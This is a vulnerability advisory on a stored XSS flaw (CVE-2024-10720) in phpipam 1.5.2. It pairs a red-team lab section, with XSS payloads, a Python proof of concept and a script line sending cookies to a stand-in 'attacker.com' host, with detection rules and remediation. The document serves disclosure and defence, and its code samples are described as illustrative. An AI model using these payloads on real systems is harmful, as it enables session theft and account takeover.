CVE-2024-10720

Executive Summary

CVE-2024-10720 is a stored cross-site scripting (XSS) vulnerability in phpipam/phpipam version 1.5.2. The flaw exists in the 'Device Management' section under 'Administration', where an attacker with administrative privileges can inject malicious scripts into the 'Name' and 'Description' fields when adding a new device type. This can lead to data theft, account compromise, distribution of malware, website defacement, and phishing attacks. The issue is fixed in version 1.7.0. The EPSS score is 0.0%, indicating low exploitation likelihood, but the CVSS score of 8.2 highlights high impact.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin access
• User Interaction: Required (UI:R) – victim must view the malicious device type
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although exploitation requires admin privileges, the impact is severe, allowing full compromise of the application and its users.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the device type creation form. When an admin adds a new device type, the 'Name' and 'Description' fields are not properly sanitized before being stored in the database. When another user (or the same admin) views the device type list, the injected script executes in their browser context. This can be used to steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding or input sanitization in the device type management interface. The application likely uses PHP's echo or similar without htmlspecialchars() or equivalent.

Attack Flow:

1. Attacker gains admin access (e.g., via credential theft or social engineering).
2. Attacker navigates to Administration > Device Management > Add new device type.
3. Attacker injects malicious JavaScript into the 'Name' or 'Description' field, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. When any user (including other admins) views the device types list, the script executes.
6. Attacker can steal cookies, perform actions, or redirect users.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.5.2):

// In device type creation handler
$name = $_POST['name'];
$description = $_POST['description'];
// No sanitization
$query = "INSERT INTO deviceTypes (name, description) VALUES ('$name', '$description')";
// Later, when displaying:
echo "<td>$name</td>";
echo "<td>$description</td>";

Patched Code (phpipam 1.7.0):

// In device type creation handler
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
// Use prepared statements to prevent SQL injection
$stmt = $db->prepare("INSERT INTO deviceTypes (name, description) VALUES (?, ?)");
$stmt->bind_param("ss", $name, $description);
// When displaying:
echo "<td>" . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "</td>";
echo "<td>" . htmlspecialchars($description, ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• phpipam 1.5.2 installed locally (e.g., via Docker: docker run -d -p 80:80 phpipam/phpipam:1.5.2)
• Admin credentials (e.g., admin:ipamadmin)

Exploit Steps:

1. Log in as admin.
2. Navigate to Administration > Device Management > Add new device type.
3. In the 'Name' field, enter: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
4. In the 'Description' field, enter: <img src=x onerror=alert(1)>
5. Click 'Save'.
6. When any user views the device types list, the script executes, sending cookies to the attacker.

Proof of Concept (PoC) Script:

import requests

target = "http://localhost"
admin_user = "admin"
admin_pass = "ipamadmin"

session = requests.Session()
# Login
login_data = {"username": admin_user, "password": admin_pass}
session.post(f"{target}/index.php?page=login", data=login_data)

# Add malicious device type
payload = "<script>alert('XSS')</script>"
device_data = {
    "name": payload,
    "description": payload,
    "submit": "Add"
}
session.post(f"{target}/administration/device-management/", data=device_data)
print("Malicious device type added. Visit device management page to trigger XSS.")

Blue Team

Detection:

• Monitor for unusual device type names or descriptions containing script tags.
• Use WAF rules to block <script>, <img onerror>, etc., in POST requests to device management endpoints.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search logs for POST requests to /administration/device-management/ with suspicious payloads.
• Check database for device types containing HTML/JavaScript.

Indicators of Compromise (IOCs)

• Network: POST requests to /administration/device-management/ with <script> or <img onerror> in parameters.
• Host: Database entries in deviceTypes table with name or description containing HTML/JavaScript.
• Logs: PHP error logs showing unescaped output or XSS attempts.
• File: No specific files, but check for modified templates or custom code.

Detection Engineering

YARA Rule

rule phpipam_stored_xss_cve_2024_10720 {
    meta:
        description = "Detects stored XSS payloads in phpipam device types"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10720"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]+onerror\s*=/i
        $xss3 = /<svg[^>]+onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in phpipam Device Type Creation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-10720 by injecting XSS payloads into device type fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/administration/device-management/"
        cs-request-body|contains:
            - "<script"
            - "<img onerror"
            - "<svg onload"
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10720 Stored XSS in phpipam Device Type"; flow:to_server,established; content:"POST"; http_method; content:"/administration/device-management/"; http_uri; pcre:"/(<script|<img onerror|<svg onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to phpipam version 1.7.0 or later.
• If upgrade is not possible, apply input sanitization manually:
  • Use htmlspecialchars() on all user input before display.
  • Use prepared statements for database queries.

Long-term:

• Implement Content Security Policy (CSP) headers.
• Conduct regular security audits and code reviews.
• Use a Web Application Firewall (WAF) to block XSS attempts.

Workaround:

• Restrict admin access to trusted users only.
• Monitor device type creation logs for anomalies.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.